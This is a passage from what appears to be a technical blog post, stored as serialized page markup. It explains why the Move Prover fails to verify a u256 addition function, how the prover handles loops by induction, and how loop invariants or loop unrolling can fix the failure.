10206],{"type":32,"value":2729},{"type":26,"tag":475,"props":10208,"children":10209},{"class":477,"line":582},[10210,10214,10219,10223,10227,10231,10235,10239,10243,10247,10251,10255,10259,10263,10267,10271],{"type":26,"tag":475,"props":10211,"children":10212},{"style":714},[10213],{"type":32,"value":10124},{"type":26,"tag":475,"props":10215,"children":10216},{"style":493},[10217],{"type":32,"value":10218}," ensures",{"type":26,"tag":475,"props":10220,"children":10221},{"style":629},[10222],{"type":32,"value":9412},{"type":26,"tag":475,"props":10224,"children":10225},{"style":499},[10226],{"type":32,"value":626},{"type":26,"tag":475,"props":10228,"children":10229},{"style":493},[10230],{"type":32,"value":8793},{"type":26,"tag":475,"props":10232,"children":10233},{"style":499},[10234],{"type":32,"value":2794},{"type":26,"tag":475,"props":10236,"children":10237},{"style":629},[10238],{"type":32,"value":8287},{"type":26,"tag":475,"props":10240,"children":10241},{"style":629},[10242],{"type":32,"value":9412},{"type":26,"tag":475,"props":10244,"children":10245},{"style":499},[10246],{"type":32,"value":626},{"type":26,"tag":475,"props":10248,"children":10249},{"style":493},[10250],{"type":32,"value":116},{"type":26,"tag":475,"props":10252,"children":10253},{"style":499},[10254],{"type":32,"value":2794},{"type":26,"tag":475,"props":10256,"children":10257},{"style":629},[10258],{"type":32,"value":1106},{"type":26,"tag":475,"props":10260,"children":10261},{"style":629},[10262],{"type":32,"value":9412},{"type":26,"tag":475,"props":10264,"children":10265},{"style":499},[10266],{"type":32,"value":626},{"type":26,"tag":475,"props":10268,"children":10269},{"style":493},[10270],{"type":32,"value":2930},{"type":26,"tag":475,"props":10272,"children":10273},{"style":499},[10274],{"type":32,"value":3533},{"type":26,"tag":475,"props":10276,"children":10277},{"class":477,"line":596},[10278,10282],{"type":26,"tag":475,"props":10279,"children":10280},{"style":714},[10281],{"type":32,"value":10124},{"type":26,"tag":475,"props":10283,"children":10284},{"style":499},[10285],{"type":32,"value":10286}," }\n",{"type":26,"tag":475,"props":10288,"children":10289},{"class":477,"line":610},[10290],{"type":26,"tag":475,"props":10291,"children":10292},{"style":493},[10293],{"type":32,"value":10294},"╰─────^\n",{"type":26,"tag":475,"props":10296,"children":10297},{"class":477,"line":650},[10298],{"type":26,"tag":475,"props":10299,"children":10300},{"emptyLinePlaceholder":18},[10301],{"type":32,"value":545},{"type":26,"tag":475,"props":10303,"children":10304},{"class":477,"line":679},[10305],{"type":26,"tag":475,"props":10306,"children":10307},{"style":499},[10308],{"type":32,"value":2219},{"type":26,"tag":475,"props":10310,"children":10311},{"class":477,"line":735},[10312],{"type":26,"tag":475,"props":10313,"children":10314},{"emptyLinePlaceholder":18},[10315],{"type":32,"value":545},{"type":26,"tag":475,"props":10317,"children":10318},{"class":477,"line":744},[10319,10324,10329],{"type":26,"tag":475,"props":10320,"children":10321},{"style":493},[10322],{"type":32,"value":10323}," at",{"type":26,"tag":475,"props":10325,"children":10326},{"style":629},[10327],{"type":32,"value":10328}," ./sources/u256.move:316:",{"type":26,"tag":475,"props":10330,"children":10331},{"style":629},[10332],{"type":32,"value":10333}," add\n",{"type":26,"tag":475,"props":10335,"children":10336},{"class":477,"line":753},[10337,10342,10347,10352,10356,10361,10365,10370,10375,10380,10385,10390],{"type":26,"tag":475,"props":10338,"children":10339},{"style":493},[10340],{"type":32,"value":10341}," enter",{"type":26,"tag":475,"props":10343,"children":10344},{"style":629},[10345],{"type":32,"value":10346}," loop,",{"type":26,"tag":475,"props":10348,"children":10349},{"style":629},[10350],{"type":32,"value":10351}," variable",{"type":26,"tag":475,"props":10353,"children":10354},{"style":499},[10355],{"type":32,"value":626},{"type":26,"tag":475,"props":10357,"children":10358},{"style":493},[10359],{"type":32,"value":10360},"s",{"type":26,"tag":475,"props":10362,"children":10363},{"style":499},[10364],{"type":32,"value":2794},{"type":26,"tag":475,"props":10366,"children":10367},{"style":629},[10368],{"type":32,"value":10369},"carry,",{"type":26,"tag":475,"props":10371,"children":10372},{"style":629},[10373],{"type":32,"value":10374}," i,",{"type":26,"tag":475,"props":10376,"children":10377},{"style":629},[10378],{"type":32,"value":10379}," ret",{"type":26,"tag":475,"props":10381,"children":10382},{"style":629},[10383],{"type":32,"value":10384}," havocked",{"type":26,"tag":475,"props":10386,"children":10387},{"style":629},[10388],{"type":32,"value":10389}," and",{"type":26,"tag":475,"props":10391,"children":10392},{"style":629},[10393],{"type":32,"value":10394}," reassigned\n",{"type":26,"tag":475,"props":10396,"children":10397},{"class":477,"line":761},[10398,10403,10407],{"type":26,"tag":475,"props":10399,"children":10400},{"style":493},[10401],{"type":32,"value":10402}," carry",{"type":26,"tag":475,"props":10404,"children":10405},{"style":629},[10406],{"type":32,"value":2383},{"type":26,"tag":475,"props":10408,"children":10409},{"style":903},[10410],{"type":32,"value":10411}," 54\n",{"type":26,"tag":475,"props":10413,"children":10414},{"class":477,"line":770},[10415,10420,10424],{"type":26,"tag":475,"props":10416,"children":10417},{"style":493},[10418],{"type":32,"value":10419}," i",{"type":26,"tag":475,"props":10421,"children":10422},{"style":629},[10423],{"type":32,"value":2383},{"type":26,"tag":475,"props":10425,"children":10426},{"style":903},[10427],{"type":32,"value":10428}," 3792\n",{"type":26,"tag":475,"props":10430,"children":10431},{"class":477,"line":794},[10432,10437,10441,10446,10450,10455,10460,10464,10469,10474,10478,10483,10488,10492,10497],{"type":26,"tag":475,"props":10433,"children":10434},{"style":493},[10435],{"type":32,"value":10436}," ret",{"type":26,"tag":475,"props":10438,"children":10439},{"style":629},[10440],{"type":32,"value":2383},{"type":26,"tag":475,"props":10442,"children":10443},{"style":629},[10444],{"type":32,"value":10445}," u256.U256{v0",{"type":26,"tag":475,"props":10447,"children":10448},{"style":629},[10449],{"type":32,"value":2383},{"type":26,"tag":475,"props":10451,"children":10452},{"style":629},[10453],{"type":32,"value":10454}," 26418,",{"type":26,"tag":475,"props":10456,"children":10457},{"style":629},[10458],{"type":32,"value":10459}," v1",{"type":26,"tag":475,"props":10461,"children":10462},{"style":629},[10463],{"type":32,"value":2383},{"type":26,"tag":475,"props":10465,"children":10466},{"style":629},[10467],{"type":32,"value":10468}," 27938,",{"type":26,"tag":475,"props":10470,"children":10471},{"style":629},[10472],{"type":32,"value":10473}," v2",{"type":26,"tag":475,"props":10475,"children":10476},{"style":629},[10477],{"type":32,"value":2383},{"type":26,"tag":475,"props":10479,"children":10480},{"style":629},[10481],{"type":32,"value":10482}," 6900,",{"type":26,"tag":475,"props":10484,"children":10485},{"style":629},[10486],{"type":32,"value":10487}," v3",{"type":26,"tag":475,"props":10489,"children":10490},{"style":629},[10491],{"type":32,"value":2383},{"type":26,"tag":475,"props":10493,"children":10494},{"style":903},[10495],{"type":32,"value":10496}," 1999",{"type":26,"tag":475,"props":10498,"children":10499},{"style":629},[10500],{"type":32,"value":3607},{"type":26,"tag":475,"props":10502,"children":10503},{"class":477,"line":831},[10504,10508,10513],{"type":26,"tag":475,"props":10505,"children":10506},{"style":493},[10507],{"type":32,"value":10323},{"type":26,"tag":475,"props":10509,"children":10510},{"style":629},[10511],{"type":32,"value":10512}," ./sources/u256.move:346:",{"type":26,"tag":475,"props":10514,"children":10515},{"style":629},[10516],{"type":32,"value":10333},{"type":26,"tag":475,"props":10518,"children":10519},{"class":477,"line":845},[10520],{"type":26,"tag":475,"props":10521,"children":10522},{"style":493},[10523],{"type":32,"value":10524}," ABORTED\n",{"type":26,"tag":475,"props":10526,"children":10527},{"class":477,"line":854},[10528],{"type":26,"tag":475,"props":10529,"children":10530},{"emptyLinePlaceholder":18},[10531],{"type":32,"value":545},{"type":26,"tag":475,"props":10533,"children":10534},{"class":477,"line":862},[10535,10540,10545,10549,10554,10559,10564,10568,10573,10577],{"type":26,"tag":475,"props":10536,"children":10537},{"style":493},[10538],{"type":32,"value":10539},"FAILURE",{"type":26,"tag":475,"props":10541,"children":10542},{"style":629},[10543],{"type":32,"value":10544}," proving",{"type":26,"tag":475,"props":10546,"children":10547},{"style":903},[10548],{"type":32,"value":4234},{"type":26,"tag":475,"props":10550,"children":10551},{"style":629},[10552],{"type":32,"value":10553}," modules",{"type":26,"tag":475,"props":10555,"children":10556},{"style":629},[10557],{"type":32,"value":10558}," from",{"type":26,"tag":475,"props":10560,"children":10561},{"style":629},[10562],{"type":32,"value":10563}," package",{"type":26,"tag":475,"props":10565,"children":10566},{"style":629},[10567],{"type":32,"value":10081},{"type":26,"tag":475,"props":10569,"children":10570},{"style":493},[10571],{"type":32,"value":10572},"u256",{"type":26,"tag":475,"props":10574,"children":10575},{"style":629},[10576],{"type":32,"value":10090},{"type":26,"tag":475,"props":10578,"children":10579},{"style":499},[10580],{"type":32,"value":10581}," in 9.143s\n",{"type":26,"tag":475,"props":10583,"children":10584},{"class":477,"line":885},[10585],{"type":26,"tag":475,"props":10586,"children":10587},{"style":499},[10588],{"type":32,"value":10589},"{\n",{"type":26,"tag":475,"props":10591,"children":10592},{"class":477,"line":913},[10593,10598,10602],{"type":26,"tag":475,"props":10594,"children":10595},{"style":493},[10596],{"type":32,"value":10597}," \"Error\"",{"type":26,"tag":475,"props":10599,"children":10600},{"style":493},[10601],{"type":32,"value":179},{"type":26,"tag":475,"props":10603,"children":10604},{"style":629},[10605],{"type":32,"value":10606}," \"Move Prover failed: exiting with verification errors\"\n",{"type":26,"tag":475,"props":10608,"children":10609},{"class":477,"line":926},[10610],{"type":26,"tag":475,"props":10611,"children":10612},{"style":499},[10613],{"type":32,"value":3607},{"type":26,"tag":35,"props":10615,"children":10616},{},[10617,10619,10624],{"type":32,"value":10618},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":26,"tag":53,"props":10620,"children":10622},{"className":10621},[],[10623],{"type":32,"value":8036},{"type":32,"value":10625}," clauses. But there is no other abort situation that we have to cover, right?",{"type":26,"tag":35,"props":10627,"children":10628},{},[10629,10631,10637],{"type":32,"value":10630},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":26,"tag":53,"props":10632,"children":10634},{"className":10633},[],[10635],{"type":32,"value":10636},"ret havocked and reassigned",{"type":32,"value":353},{"type":26,"tag":35,"props":10639,"children":10640},{},[10641],{"type":32,"value":10642},"What does this mean?",{"type":26,"tag":35,"props":10644,"children":10645},{},[10646,10648,10655],{"type":32,"value":10647},"By diving into the Move Prover source, we find a ",{"type":26,"tag":116,"props":10649,"children":10652},{"href":10650,"rel":10651},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[120],[10653],{"type":32,"value":10654},"likely suspect",{"type":32,"value":10656},". The prover attempts to prove all loops with induction!",{"type":26,"tag":35,"props":10658,"children":10659},{},[10660],{"type":32,"value":10661},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":26,"tag":181,"props":10663,"children":10664},{},[10665,10670],{"type":26,"tag":86,"props":10666,"children":10667},{},[10668],{"type":32,"value":10669},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":26,"tag":86,"props":10671,"children":10672},{},[10673],{"type":32,"value":10674},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":26,"tag":35,"props":10676,"children":10677},{},[10678,10680,10685,10687,10693,10694,10700,10701,10706,10708,10713],{"type":32,"value":10679},"The loop prover will also ",{"type":26,"tag":105,"props":10681,"children":10682},{},[10683],{"type":32,"value":10684},"havoc, or assign random values to, all variables written to inside the loop",{"type":32,"value":10686},". Going back to the log message, this implies that the variables ",{"type":26,"tag":53,"props":10688,"children":10690},{"className":10689},[],[10691],{"type":32,"value":10692},"carry",{"type":32,"value":637},{"type":26,"tag":53,"props":10695,"children":10697},{"className":10696},[],[10698],{"type":32,"value":10699},"ret",{"type":32,"value":209},{"type":26,"tag":53,"props":10702,"children":10704},{"className":10703},[],[10705],{"type":32,"value":3445},{"type":32,"value":10707}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":26,"tag":53,"props":10709,"children":10711},{"className":10710},[],[10712],{"type":32,"value":9346},{"type":32,"value":10714}," makes no sense.",{"type":26,"tag":35,"props":10716,"children":10717},{},[10718],{"type":32,"value":10719},"More concretely, the loop analysis translates into the following steps.",{"type":26,"tag":181,"props":10721,"children":10722},{},[10723,10728,10733,10738,10743,10748],{"type":26,"tag":86,"props":10724,"children":10725},{},[10726],{"type":32,"value":10727},"Assert the loop invariant",{"type":26,"tag":86,"props":10729,"children":10730},{},[10731],{"type":32,"value":10732},"Havoc all modified variables",{"type":26,"tag":86,"props":10734,"children":10735},{},[10736],{"type":32,"value":10737},"Assume the loop invariant",{"type":26,"tag":86,"props":10739,"children":10740},{},[10741],{"type":32,"value":10742},"Assume the loop guard (the code inside the while condition)",{"type":26,"tag":86,"props":10744,"children":10745},{},[10746],{"type":32,"value":10747},"Run the loop body",{"type":26,"tag":86,"props":10749,"children":10750},{},[10751],{"type":32,"value":10727},{"type":26,"tag":35,"props":10753,"children":10754},{},[10755],{"type":32,"value":10756},"There are two approaches to dealing with loops.",{"type":26,"tag":35,"props":10758,"children":10759},{},[10760],{"type":32,"value":10761},"The first would be to specify a loop invariant.",{"type":26,"tag":35,"props":10763,"children":10764},{},[10765,10767,10774],{"type":32,"value":10766},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":26,"tag":116,"props":10768,"children":10771},{"href":10769,"rel":10770},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[120],[10772],{"type":32,"value":10773},"previous post",{"type":32,"value":353},{"type":26,"tag":465,"props":10776,"children":10778},{"code":10777,"language":2684,"meta":7,"className":2685,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n vector::push_back(\n &mut amounts_times_coins,\n (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n );\n i = i + 1;\n };\n",[10779],{"type":26,"tag":53,"props":10780,"children":10781},{"__ignoreMap":7},[10782,10794,10805,10841,10864,10947,10954,10978,10986,11006,11026,11117,11124,11152],{"type":26,"tag":475,"props":10783,"children":10784},{"class":477,"line":478},[10785,10790],{"type":26,"tag":475,"props":10786,"children":10787},{"style":586},[10788],{"type":32,"value":10789}," while",{"type":26,"tag":475,"props":10791,"children":10792},{"style":499},[10793],{"type":32,"value":8244},{"type":26,"tag":475,"props":10795,"children":10796},{"class":477,"line":516},[10797,10801],{"type":26,"tag":475,"props":10798,"children":10799},{"style":2375},[10800],{"type":32,"value":8640},{"type":26,"tag":475,"props":10802,"children":10803},{"style":499},[10804],{"type":32,"value":579},{"type":26,"tag":475,"props":10806,"children":10807},{"class":477,"line":539},[10808,10813,10817,10821,10825,10829,10833,10837],{"type":26,"tag":475,"props":10809,"children":10810},{"style":2375},[10811],{"type":32,"value":10812}," invariant",{"type":26,"tag":475,"props":10814,"children":10815},{"style":493},[10816],{"type":32,"value":8269},{"type":26,"tag":475,"props":10818,"children":10819},{"style":499},[10820],{"type":32,"value":626},{"type":26,"tag":475,"props":10822,"children":10823},{"style":2375},[10824],{"type":32,"value":8278},{"type":26,"tag":475,"props":10826,"children":10827},{"style":499},[10828],{"type":32,"value":2794},{"type":26,"tag":475,"props":10830,"children":10831},{"style":714},[10832],{"type":32,"value":8287},{"type":26,"tag":475,"props":10834,"children":10835},{"style":2375},[10836],{"type":32,"value":3104},{"type":26,"tag":475,"props":10838,"children":10839},{"style":499},[10840],{"type":32,"value":2729},{"type":26,"tag":475,"props":10842,"children":10843},{"class":477,"line":548},[10844,10848,10852,10856,10860],{"type":26,"tag":475,"props":10845,"children":10846},{"style":2375},[10847],{"type":32,"value":10812},{"type":26,"tag":475,"props":10849,"children":10850},{"style":2375},[10851],{"type":32,"value":3104},{"type":26,"tag":475,"props":10853,"children":10854},{"style":714},[10855],{"type":32,"value":7908},{"type":26,"tag":475,"props":10857,"children":10858},{"style":2375},[10859],{"type":32,"value":8198},{"type":26,"tag":475,"props":10861,"children":10862},{"style":499},[10863],{"type":32,"value":2729},{"type":26,"tag":475,"props":10865,"children":10866},{"class":477,"line":558},[10867,10871,10875,10879,10883,10887,10891,10895,10899,10903,10907,10911,10915,10919,10923,10927,10931,10935,10939,10943],{"type":26,"tag":475,"props":10868,"children":10869},{"style":2375},[10870],{"type":32,"value":10812},{"type":26,"tag":475,"props":10872,"children":10873},{"style":2375},[10874],{"type":32,"value":8330},{"type":26,"tag":475,"props":10876,"children":10877},{"style":2375},[10878],{"type":32,"value":8335},{"type":26,"tag":475,"props":10880,"children":10881},{"style":482},[10882],{"type":32,"value":2747},{"type":26,"tag":475,"props":10884,"children":10885},{"style":903},[10886],{"type":32,"value":2752},{"type":26,"tag":475,"props":10888,"children":10889},{"style":714},[10890],{"type":32,"value":2757},{"type":26,"tag":475,"props":10892,"children":10893},{"style":2375},[10894],{"type":32,"value":3445},{"type":26,"tag":475,"props":10896,"children":10897},{"style":714},[10898],{"type":32,"value":179},{"type":26,"tag":475,"props":10900,"children":10901},{"style":2375},[10902],{"type":32,"value":8133},{"type":26,"tag":475,"props":10904,"children":10905},{"style":499},[10906],{"type":32,"value":3440},{"type":26,"tag":475,"props":10908,"children":10909},{"style":2375},[10910],{"type":32,"value":8368},{"type":26,"tag":475,"props":10912,"children":10913},{"style":499},[10914],{"type":32,"value":1699},{"type":26,"tag":475,"props":10916,"children":10917},{"style":714},[10918],{"type":32,"value":8287},{"type":26,"tag":475,"props":10920,"children":10921},{"style":2375},[10922],{"type":32,"value":8381},{"type":26,"tag":475,"props":10924,"children":10925},{"style":499},[10926],{"type":32,"value":3440},{"type":26,"tag":475,"props":10928,"children":10929},{"style":2375},[10930],{"type":32,"value":8368},{"type":26,"tag":475,"props":10932,"children":10933},{"style":499},[10934],{"type":32,"value":1699},{"type":26,"tag":475,"props":10936,"children":10937},{"style":714},[10938],{"type":32,"value":4282},{"type":26,"tag":475,"props":10940,"children":10941},{"style":2375},[10942],{"type":32,"value":8198},{"type":26,"tag":475,"props":10944,"children":10945},{"style":499},[10946],{"type":32,"value":2729},{"type":26,"tag":475,"props":10948,"children":10949},{"class":477,"line":582},[10950],{"type":26,"tag":475,"props":10951,"children":10952},{"style":499},[10953],{"type":32,"value":8632},{"type":26,"tag":475,"props":10955,"children":10956},{"class":477,"line":596},[10957,10962,10966,10970,10974],{"type":26,"tag":475,"props":10958,"children":10959},{"style":499},[10960],{"type":32,"value":10961}," (",{"type":26,"tag":475,"props":10963,"children":10964},{"style":2375},[10965],{"type":32,"value":3445},{"type":26,"tag":475,"props":10967,"children":10968},{"style":714},[10969],{"type":32,"value":8430},{"type":26,"tag":475,"props":10971,"children":10972},{"style":2375},[10973],{"type":32,"value":8198},{"type":26,"tag":475,"props":10975,"children":10976},{"style":499},[10977],{"type":32,"value":647},{"type":26,"tag":475,"props":10979,"children":10980},{"class":477,"line":610},[10981],{"type":26,"tag":475,"props":10982,"children":10983},{"style":499},[10984],{"type":32,"value":10985}," }) {\n",{"type":26,"tag":475,"props":10987,"children":10988},{"class":477,"line":650},[10989,10994,10998,11002],{"type":26,"tag":475,"props":10990,"children":10991},{"style":499},[10992],{"type":32,"value":10993}," vector",{"type":26,"tag":475,"props":10995,"children":10996},{"style":714},[10997],{"type":32,"value":3187},{"type":26,"tag":475,"props":10999,"children":11000},{"style":493},[11001],{"type":32,"value":8463},{"type":26,"tag":475,"props":11003,"children":11004},{"style":499},[11005],{"type":32,"value":3169},{"type":26,"tag":475,"props":11007,"children":11008},{"class":477,"line":679},[11009,11014,11018,11022],{"type":26,"tag":475,"props":11010,"children":11011},{"style":714},[11012],{"type":32,"value":11013}," &",{"type":26,"tag":475,"props":11015,"children":11016},{"style":482},[11017],{"type":32,"value":3430},{"type":26,"tag":475,"props":11019,"children":11020},{"style":2375},[11021],{"type":32,"value":8133},{"type":26,"tag":475,"props":11023,"children":11024},{"style":499},[11025],{"type":32,"value":2425},{"type":26,"tag":475,"props":11027,"children":11028},{"class":477,"line":735},[11029,11033,11037,11041,11045,11049,11053,11057,11061,11065,11069,11073,11077,11081,11085,11089,11093,11097,11101,11105,11109,11113],{"type":26,"tag":475,"props":11030,"children":11031},{"style":499},[11032],{"type":32,"value":8421},{"type":26,"tag":475,"props":11034,"children":11035},{"style":714},[11036],{"type":32,"value":4282},{"type":26,"tag":475,"props":11038,"children":11039},{"style":499},[11040],{"type":32,"value":8504},{"type":26,"tag":475,"props":11042,"children":11043},{"style":714},[11044],{"type":32,"value":3187},{"type":26,"tag":475,"props":11046,"children":11047},{"style":493},[11048],{"type":32,"value":8513},{"type":26,"tag":475,"props":11050,"children":11051},{"style":499},[11052],{"type":32,"value":626},{"type":26,"tag":475,"props":11054,"children":11055},{"style":714},[11056],{"type":32,"value":2816},{"type":26,"tag":475,"props":11058,"children":11059},{"style":2375},[11060],{"type":32,"value":8078},{"type":26,"tag":475,"props":11062,"children":11063},{"style":499},[11064],{"type":32,"value":8530},{"type":26,"tag":475,"props":11066,"children":11067},{"style":2375},[11068],{"type":32,"value":3445},{"type":26,"tag":475,"props":11070,"children":11071},{"style":482},[11072],{"type":32,"value":8539},{"type":26,"tag":475,"props":11074,"children":11075},{"style":505},[11076],{"type":32,"value":5573},{"type":26,"tag":475,"props":11078,"children":11079},{"style":499},[11080],{"type":32,"value":8548},{"type":26,"tag":475,"props":11082,"children":11083},{"style":482},[11084],{"type":32,"value":8553},{"type":26,"tag":475,"props":11086,"children":11087},{"style":505},[11088],{"type":32,"value":8558},{"type":26,"tag":475,"props":11090,"children":11091},{"style":499},[11092],{"type":32,"value":2794},{"type":26,"tag":475,"props":11094,"children":11095},{"style":714},[11096],{"type":32,"value":4282},{"type":26,"tag":475,"props":11098,"children":11099},{"style":499},[11100],{"type":32,"value":2775},{"type":26,"tag":475,"props":11102,"children":11103},{"style":2375},[11104],{"type":32,"value":8575},{"type":26,"tag":475,"props":11106,"children":11107},{"style":482},[11108],{"type":32,"value":8539},{"type":26,"tag":475,"props":11110,"children":11111},{"style":505},[11112],{"type":32,"value":8558},{"type":26,"tag":475,"props":11114,"children":11115},{"style":499},[11116],{"type":32,"value":647},{"type":26,"tag":475,"props":11118,"children":11119},{"class":477,"line":744},[11120],{"type":26,"tag":475,"props":11121,"children":11122},{"style":499},[11123],{"type":32,"value":1916},{"type":26,"tag":475,"props":11125,"children":11126},{"class":477,"line":753},[11127,11132,11136,11140,11144,11148],{"type":26,"tag":475,"props":11128,"children":11129},{"style":2375},[11130],{"type":32,"value":11131}," i",{"type":26,"tag":475,"props":11133,"children":11134},{"style":714},[11135],{"type":32,"value":2383},{"type":26,"tag":475,"props":11137,"children":11138},{"style":2375},[11139],{"type":32,"value":3104},{"type":26,"tag":475,"props":11141,"children":11142},{"style":714},[11143],{"type":32,"value":8616},{"type":26,"tag":475,"props":11145,"children":11146},{"style":903},[11147],{"type":32,"value":4234},{"type":26,"tag":475,"props":11149,"children":11150},{"style":499},[11151],{"type":32,"value":2729},{"type":26,"tag":475,"props":11153,"children":11154},{"class":477,"line":761},[11155],{"type":26,"tag":475,"props":11156,"children":11157},{"style":499},[11158],{"type":32,"value":11159}," };\n",{"type":26,"tag":35,"props":11161,"children":11162},{},[11163,11165,11171,11173,11178,11180,11186],{"type":32,"value":11164},"In this case, the brackets specify the loop invariant for the ",{"type":26,"tag":53,"props":11166,"children":11168},{"className":11167},[],[11169],{"type":32,"value":11170},"while",{"type":32,"value":11172}," loop. Note that because the loop invariant executes ",{"type":26,"tag":2615,"props":11174,"children":11175},{},[11176],{"type":32,"value":11177},"after",{"type":32,"value":11179}," the loop guard, so we need to account for an extra step with ",{"type":26,"tag":53,"props":11181,"children":11183},{"className":11182},[],[11184],{"type":32,"value":11185},"i \u003C= n_coins",{"type":32,"value":353},{"type":26,"tag":465,"props":11188,"children":11190},{"code":11189,"language":2684,"meta":7,"className":2685,"style":7}," while ({\n spec {\n invariant len(amounts_times_coins) == i;\n invariant i \u003C= n_coins;\n invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n };\n (i \u003C n_coins)\n }) {\n",[11191],{"type":26,"tag":53,"props":11192,"children":11193},{"__ignoreMap":7},[11194,11205,11216,11251,11274,11357,11364,11387],{"type":26,"tag":475,"props":11195,"children":11196},{"class":477,"line":478},[11197,11201],{"type":26,"tag":475,"props":11198,"children":11199},{"style":586},[11200],{"type":32,"value":10789},{"type":26,"tag":475,"props":11202,"children":11203},{"style":499},[11204],{"type":32,"value":8244},{"type":26,"tag":475,"props":11206,"children":11207},{"class":477,"line":516},[11208,11212],{"type":26,"tag":475,"props":11209,"children":11210},{"style":2375},[11211],{"type":32,"value":8640},{"type":26,"tag":475,"props":11213,"children":11214},{"style":499},[11215],{"type":32,"value":579},{"type":26,"tag":475,"props":11217,"children":11218},{"class":477,"line":539},[11219,11223,11227,11231,11235,11239,11243,11247],{"type":26,"tag":475,"props":11220,"children":11221},{"style":2375},[11222],{"type":32,"value":10812},{"type":26,"tag":475,"props":11224,"children":11225},{"style":493},[11226],{"type":32,"value":8269},{"type":26,"tag":475,"props":11228,"children":11229},{"style":499},[11230],{"type":32,"value":626},{"type":26,"tag":475,"props":11232,"children":11233},{"style":2375},[11234],{"type":32,"value":8278},{"type":26,"tag":475,"props":11236,"children":11237},{"style":499},[11238],{"type":32,"value":2794},{"type":26,"tag":475,"props":11240,"children":11241},{"style":714},[11242],{"type":32,"value":8287},{"type":26,"tag":475,"props":11244,"children":11245},{"style":2375},[11246],{"type":32,"value":3104},{"type":26,"tag":475,"props":11248,"children":11249},{"style":499},[11250],{"type":32,"value":2729},{"type":26,"tag":475,"props":11252,"children":11253},{"class":477,"line":548},[11254,11258,11262,11266,11270],{"type":26,"tag":475,"props":11255,"children":11256},{"style":2375},[11257],{"type":32,"value":10812},{"type":26,"tag":475,"props":11259,"children":11260},{"style":2375},[11261],{"type":32,"value":3104},{"type":26,"tag":475,"props":11263,"children":11264},{"style":714},[11265],{"type":32,"value":7908},{"type":26,"tag":475,"props":11267,"children":11268},{"style":2375},[11269],{"type":32,"value":8198},{"type":26,"tag":475,"props":11271,"children":11272},{"style":499},[11273],{"type":32,"value":2729},{"type":26,"tag":475,"props":11275,"children":11276},{"class":477,"line":558},[11277,11281,11285,11289,11293,11297,11301,11305,11309,11313,11317,11321,11325,11329,11333,11337,11341,11345,11349,11353],{"type":26,"tag":475,"props":11278,"children":11279},{"style":2375},[11280],{"type":32,"value":10812},{"type":26,"tag":475,"props":11282,"children":11283},{"style":2375},[11284],{"type":32,"value":8330},{"type":26,"tag":475,"props":11286,"children":11287},{"style":2375},[11288],{"type":32,"value":8335},{"type":26,"tag":475,"props":11290,"children":11291},{"style":482},[11292],{"type":32,"value":2747},{"type":26,"tag":475,"props":11294,"children":11295},{"style":903},[11296],{"type":32,"value":2752},{"type":26,"tag":475,"props":11298,"children":11299},{"style":714},[11300],{"type":32,"value":2757},{"type":26,"tag":475,"props":11302,"children":11303},{"style":2375},[11304],{"type":32,"value":3445},{"type":26,"tag":475,"props":11306,"children":11307},{"style":714},[11308],{"type":32,"value":179},{"type":26,"tag":475,"props":11310,"children":11311},{"style":2375},[11312],{"type":32,"value":8133},{"type":26,"tag":475,"props":11314,"children":11315},{"style":499},[11316],{"type":32,"value":3440},{"type":26,"tag":475,"props":11318,"children":11319},{"style":2375},[11320],{"type":32,"value":8368},{"type":26,"tag":475,"props":11322,"children":11323},{"style":499},[11324],{"type":32,"value":1699},{"type":26,"tag":475,"props":11326,"children":11327},{"style":714},[11328],{"type":32,"value":8287},{"type":26,"tag":475,"props":11330,"children":11331},{"style":2375},[11332],{"type":32,"value":8381},{"type":26,"tag":475,"props":11334,"children":11335},{"style":499},[11336],{"type":32,"value":3440},{"type":26,"tag":475,"props":11338,"children":11339},{"style":2375},[11340],{"type":32,"value":8368},{"type":26,"tag":475,"props":11342,"children":11343},{"style":499},[11344],{"type":32,"value":1699},{"type":26,"tag":475,"props":11346,"children":11347},{"style":714},[11348],{"type":32,"value":4282},{"type":26,"tag":475,"props":11350,"children":11351},{"style":2375},[11352],{"type":32,"value":8198},{"type":26,"tag":475,"props":11354,"children":11355},{"style":499},[11356],{"type":32,"value":2729},{"type":26,"tag":475,"props":11358,"children":11359},{"class":477,"line":582},[11360],{"type":26,"tag":475,"props":11361,"children":11362},{"style":499},[11363],{"type":32,"value":8632},{"type":26,"tag":475,"props":11365,"children":11366},{"class":477,"line":596},[11367,11371,11375,11379,11383],{"type":26,"tag":475,"props":11368,"children":11369},{"style":499},[11370],{"type":32,"value":10961},{"type":26,"tag":475,"props":11372,"children":11373},{"style":2375},[11374],{"type":32,"value":3445},{"type":26,"tag":475,"props":11376,"children":11377},{"style":714},[11378],{"type":32,"value":8430},{"type":26,"tag":475,"props":11380,"children":11381},{"style":2375},[11382],{"type":32,"value":8198},{"type":26,"tag":475,"props":11384,"children":11385},{"style":499},[11386],{"type":32,"value":647},{"type":26,"tag":475,"props":11388,"children":11389},{"class":477,"line":610},[11390],{"type":26,"tag":475,"props":11391,"children":11392},{"style":499},[11393],{"type":32,"value":10985},{"type":26,"tag":35,"props":11395,"children":11396},{},[11397],{"type":32,"value":11398},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":26,"tag":35,"props":11400,"children":11401},{},[11402,11404,11409],{"type":32,"value":11403},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":26,"tag":53,"props":11405,"children":11407},{"className":11406},[],[11408],{"type":32,"value":9346},{"type":32,"value":11410}," function will always iterate exactly 4 times:",{"type":26,"tag":465,"props":11412,"children":11414},{"code":11413,"language":2684,"meta":7,"className":2685,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 